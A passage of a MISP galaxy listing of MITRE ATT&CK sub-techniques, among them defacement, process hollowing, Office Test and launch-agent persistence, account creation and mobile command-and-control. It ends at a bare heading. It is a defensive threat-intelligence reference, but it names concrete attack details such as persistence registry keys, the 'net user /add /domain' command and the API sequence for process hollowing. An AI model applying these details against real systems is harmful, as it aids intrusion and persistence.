An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of Internal Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)
Internal MISP references
UUID 8c41090b-aa47-4331-986b-8c9a51a91103 which can be used as unique global reference for Internal Defacement - T1491.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1491/001 - webarchive
- https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf - webarchive
- https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1491.001 |
| kill_chain | ['attack-Linux:impact', 'attack-macOS:impact', 'attack-Windows:impact'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'File: File Creation', 'File: File Modification', 'Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Asymmetric Cryptography - T1521.002
Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private that should not be distributed. Due to how asymmetric algorithms work, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA, ElGamal, and ECDSA.
For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as Asymmetric Cryptography.
Internal MISP references
UUID 16d73b64-5681-4ea0-9af4-4ad86f7c96e8 which can be used as unique global reference for Asymmetric Cryptography - T1521.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1521.002 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Control Panel - T1218.002
Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.
Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)
Malicious Control Panel items can be delivered via Phishing campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.
Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)
Internal MISP references
UUID 4ff5d6a8-c062-4c68-a778-36fc5edd564f which can be used as unique global reference for Control Panel - T1218.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1218/002 - webarchive
- https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/ - webarchive
- https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx - webarchive
- https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/ - webarchive
- https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf - webarchive
- https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1218.002 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'Module: Module Load', 'Process: OS API Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Code Repositories - T1213.003
Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.
Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop Exploits, while credentials may provide access to additional resources using Valid Accounts.(Citation: Wired Uber Breach)(Citation: Krebs Adobe)
Note: This is distinct from Code Repositories, which focuses on conducting Reconnaissance via public code repositories.
Internal MISP references
UUID cff94884-3b1c-4987-a70b-6d5643c621c3 which can be used as unique global reference for Code Repositories - T1213.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1213.003 |
| kill_chain | ['attack-SaaS:collection'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Logon Session: Logon Session Creation'] |
| mitre_platforms | ['SaaS'] |
Related clusters
To see the related clusters, click here.
SSL Pinning - T1521.003
Adversaries may use SSL Pinning to protect the C2 traffic from being intercepted and analyzed.
SSL Pinning is a technique commonly utilized by legitimate websites to ensure that encrypted communications are only allowed with a pre-defined certificate. If another certificate is presented, it could indicate device compromise, traffic interception, or another upstream issue. While benign usages are common, it is also possible for adversaries to abuse this technology to protect malicious C2 traffic.
In normal, not pinned SSL validation, when a client connects to a server using HTTPS, it typically checks whether the server’s SSL/TLS certificate is signed by a trusted Certificate Authority (CA) in the device’s trust store. If the certificate is valid and signed by a trusted CA, the connection is established. However, with SSL Pinning , the client is configured to trust a specific SSL/TLS certificate or public key, rather than relying on the device’s trust store. This means that even if the server’s certificate is signed by a trusted CA, the client will only establish the connection of the certificate or key is pinned.
There are two types of SSL Pinning :
-
Certificate Pinning: The client stores a copy of the server’s certificate and compares it with the certificate received during the SSL handshake. If the certificates match, then the client proceeds with the connection. This approach also works with self-signed certificates.
-
Public Key Pinning: Instead of pinning the entire certificate, the client pins just the public key extracted from the certificate. This is often more flexible, as it allows the server to renew its certificate without having to update the pinned certificate or breaking the SSL connection.
Internal MISP references
UUID dfafc230-5465-4993-8dc5-f51fa9fec002 which can be used as unique global reference for SSL Pinning - T1521.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1521.003 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Domain Account - T1136.002
Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.(Citation: Savill 1999)
Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Internal MISP references
UUID 7610cada-1499-41a4-b3dd-46467b68d177 which can be used as unique global reference for Domain Account - T1136.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1136.002 |
| kill_chain | ['attack-Windows:persistence', 'attack-macOS:persistence', 'attack-Linux:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'User Account: User Account Creation'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Related clusters
To see the related clusters, click here.
Unix Shell - T1623.001
Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the underlying command prompts on Android and iOS devices. Unix shells can control every aspect of a system, with certain commands requiring elevated privileges that are only accessible if the device has been rooted or jailbroken.
Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.
Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.
If the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files.
Internal MISP references
UUID 693cdbff-ea73-49c6-ac3f-91e7285c31d1 which can be used as unique global reference for Unix Shell - T1623.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1623.001 |
| kill_chain | ['mobile-attack-Android:execution', 'mobile-attack-iOS:execution'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Office Test - T1137.002
Adversaries may abuse the Microsoft Office "Office Test" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)
There exist user and global Registry keys for the Office Test feature, such as:
HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\PerfHKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf
Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.
Internal MISP references
UUID ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a which can be used as unique global reference for Office Test - T1137.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1137.002 |
| kill_chain | ['attack-Windows:persistence', 'attack-Office-365:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Module: Module Load', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'Office 365'] |
Related clusters
To see the related clusters, click here.
System Firmware - T1542.001
Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.(Citation: Wikipedia BIOS)(Citation: Wikipedia UEFI)(Citation: About UEFI)
System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.
Internal MISP references
UUID 16ab6452-c3c1-497c-a47d-206018ca1ada which can be used as unique global reference for System Firmware - T1542.001 in MISP communities and other software using the MISP galaxy
External references
- http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html - webarchive
- http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about - webarchive
- http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research - webarchive
- http://www.uefi.org/about - webarchive
- https://attack.mitre.org/techniques/T1542/001 - webarchive
- https://en.wikipedia.org/wiki/BIOS - webarchive
- https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface - webarchive
- https://github.com/chipsec/chipsec - webarchive
- https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1542.001 |
| kill_chain | ['attack-Windows:persistence', 'attack-Network:persistence', 'attack-Windows:defense-evasion', 'attack-Network:defense-evasion'] |
| mitre_data_sources | ['Firmware: Firmware Modification'] |
| mitre_platforms | ['Windows', 'Network'] |
Related clusters
To see the related clusters, click here.
Broadcast Receivers - T1624.001
Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities.
An intent is a message passed between Android applications or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received.
In addition to Android system intents, malicious applications can register for intents broadcasted by other applications. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications.
In Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.(Citation: Android Changes to System Broadcasts)
Internal MISP references
UUID 3775a580-a1d1-46c4-8147-c614a715f2e9 which can be used as unique global reference for Broadcast Receivers - T1624.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1624.001 |
| kill_chain | ['mobile-attack-Android:persistence'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
Bidirectional Communication - T1481.002
Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to and receiving output from a compromised system. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.
Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Internal MISP references
UUID 939808a7-121d-467a-b028-4441ee8b7cee which can be used as unique global reference for Bidirectional Communication - T1481.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1481.002 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
External Defacement - T1491.002
An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. External Defacement may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) External Defacement may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as Drive-by Compromise.(Citation: Trend Micro Deep Dive Into Defacement)
Internal MISP references
UUID 0cfe31a7-81fc-472c-bc45-e2808d1066a3 which can be used as unique global reference for External Defacement - T1491.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1491/002 - webarchive
- https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf - webarchive
- https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/ - webarchive
- https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf - webarchive
- https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1491.002 |
| kill_chain | ['attack-Windows:impact', 'attack-IaaS:impact', 'attack-Linux:impact', 'attack-macOS:impact'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'File: File Creation', 'File: File Modification', 'Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Windows', 'IaaS', 'Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Process Hollowing - T1055.012
Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.
Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)
This is very similar to Thread Local Storage but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.
Internal MISP references
UUID b200542e-e877-4395-875b-cf1a44537ca4 which can be used as unique global reference for Process Hollowing - T1055.012 in MISP communities and other software using the MISP galaxy
External references
- http://www.autosectools.com/process-hollowing.pdf - webarchive
- https://attack.mitre.org/techniques/T1055/012 - webarchive
- https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/ - webarchive
- https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - webarchive
- https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1055.012 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Process: OS API Execution', 'Process: Process Access', 'Process: Process Creation', 'Process: Process Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Downgrade Attack - T1562.010
Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system’s backward compatibility to force it into less secure modes of operation.
Adversaries may downgrade and use various less-secure versions of features of a system, such as Command and Scripting Interpreters or even network protocols that can be abused to enable Adversary-in-the-Middle or Network Sniffing.(Citation: Praetorian TLS Downgrade Attack 2014) For example, PowerShell versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to Impair Defenses while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)
Adversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade)
Internal MISP references
UUID 824add00-99a1-4b15-9a2d-6c5683b7b497 which can be used as unique global reference for Downgrade Attack - T1562.010 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1562/010 - webarchive
- https://blog.checkpoint.com/research/targeted-ssl-stripping-attacks-are-real/amp/ - webarchive
- https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/ - webarchive
- https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/ - webarchive
- https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/ - webarchive
- https://www.crowdstrike.com/cybersecurity-101/attack-types/downgrade-attacks/ - webarchive
- https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique - webarchive
- https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1562.010 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Process: Process Metadata'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Business Relationships - T1591.002
Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources.
Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise, Drive-by Compromise, or Trusted Relationship).
Internal MISP references
UUID 6ee2dc99-91ad-4534-a7d8-a649358c331f which can be used as unique global reference for Business Relationships - T1591.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1591.002 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Cloud Account - T1136.003
Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)
In addition to user accounts, cloud accounts may be associated with services. Cloud providers handle the concept of service accounts in different ways. In Azure, service accounts include service principals and managed identities, which can be linked to various resources such as OAuth applications, serverless functions, and virtual machines in order to grant those resources permissions to perform various activities in the environment.(Citation: Microsoft Entra ID Service Principals) In GCP, service accounts can also be linked to specific resources, as well as be impersonated by other accounts for Temporary Elevated Cloud Access.(Citation: GCP Service Accounts) While AWS has no specific concept of service accounts, resources can be directly granted permission to assume roles.(Citation: AWS Instance Profiles)(Citation: AWS Lambda Execution Role)
Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.
Once an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding Additional Cloud Credentials or assigning Additional Cloud Roles.
Internal MISP references
UUID a009cb25-4801-4116-9105-80a91cf15c1b which can be used as unique global reference for Cloud Account - T1136.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1136/003 - webarchive
- https://cloud.google.com/iam/docs/service-account-overview - webarchive
- https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html - webarchive
- https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html - webarchive
- https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html - webarchive
- https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory - webarchive
- https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide - webarchive
- https://learn.microsoft.com/en-us/entra/identity-platform/app-objects-and-service-principals?tabs=browser - webarchive
- https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554 - webarchive
- https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1136.003 |
| kill_chain | ['attack-Azure-AD:persistence', 'attack-Office-365:persistence', 'attack-IaaS:persistence', 'attack-Google-Workspace:persistence', 'attack-SaaS:persistence'] |
| mitre_data_sources | ['User Account: User Account Creation'] |
| mitre_platforms | ['Azure AD', 'Office 365', 'IaaS', 'Google Workspace', 'SaaS'] |
Related clusters
To see the related clusters, click here.
System Checks - T1633.001
Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behavior after checking for the presence of artifacts indicative of a virtual environment or sandbox. If the adversary detects a virtual environment, they may alter their malware’s behavior to disengage from the victim or conceal the core functions of the implant. They may also search for virtualization artifacts before dropping secondary or additional payloads.
Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.
Hardware checks, such as the presence of motion sensors, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.
Internal MISP references
UUID 6ffad4be-bfe0-424f-abde-4d9a84a800ad which can be used as unique global reference for System Checks - T1633.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1633.001 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Outlook Forms - T1137.003
Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)
Once malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)
Internal MISP references
UUID a9e2cea0-c805-4bf8-9e31-f5f0513a3634 which can be used as unique global reference for Outlook Forms - T1137.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1137/003 - webarchive
- https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack - webarchive
- https://github.com/sensepost/notruler - webarchive
- https://sensepost.com/blog/2017/outlook-forms-and-shells/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1137.003 |
| kill_chain | ['attack-Windows:persistence', 'attack-Office-365:persistence'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'Office 365'] |
Related clusters
To see the related clusters, click here.
Launch Agent - T1543.001
Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.
Launch Agents can also be executed using the Launchctl command.
Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X)
Internal MISP references
UUID d10cbd34-42e3-45c0-84d2-535a09849584 which can be used as unique global reference for Launch Agent - T1543.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1543/001 - webarchive
- https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ - webarchive
- https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ - webarchive
- https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html - webarchive
- https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ - webarchive
- https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update - webarchive
- https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf - webarchive
- https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - webarchive
- https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1543.001 |
| kill_chain | ['attack-macOS:persistence', 'attack-macOS:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Service: Service Creation', 'Service: Service Modification'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Web Protocols - T1437.001
Adversaries may communicate using application layer protocols associated with web protocols traffic to avoid detection/network filtering by blending in with existing traffic. Commands to remote mobile devices, and often the results of those commands, will be embedded within the protocol traffic between the mobile client and server.
Web protocols such as HTTP and HTTPS are used for web traffic as well as well as notification services native to mobile messaging services such as Google Cloud Messaging (GCM) and newly, Firebase Cloud Messaging (FCM), (GCM/FCM: two-way communication) and Apple Push Notification Service (APNS; one-way server-to-device). Such notification services leverage HTTP/S via the respective API and are commonly abused on Android and iOS respectively in order blend in with routine device traffic making it difficult for enterprises to inspect.
Internal MISP references
UUID 2282a98b-5049-4f61-9381-55baca7c1add which can be used as unique global reference for Web Protocols - T1437.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1437.001 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Gatekeeper Bypass - T1553.001
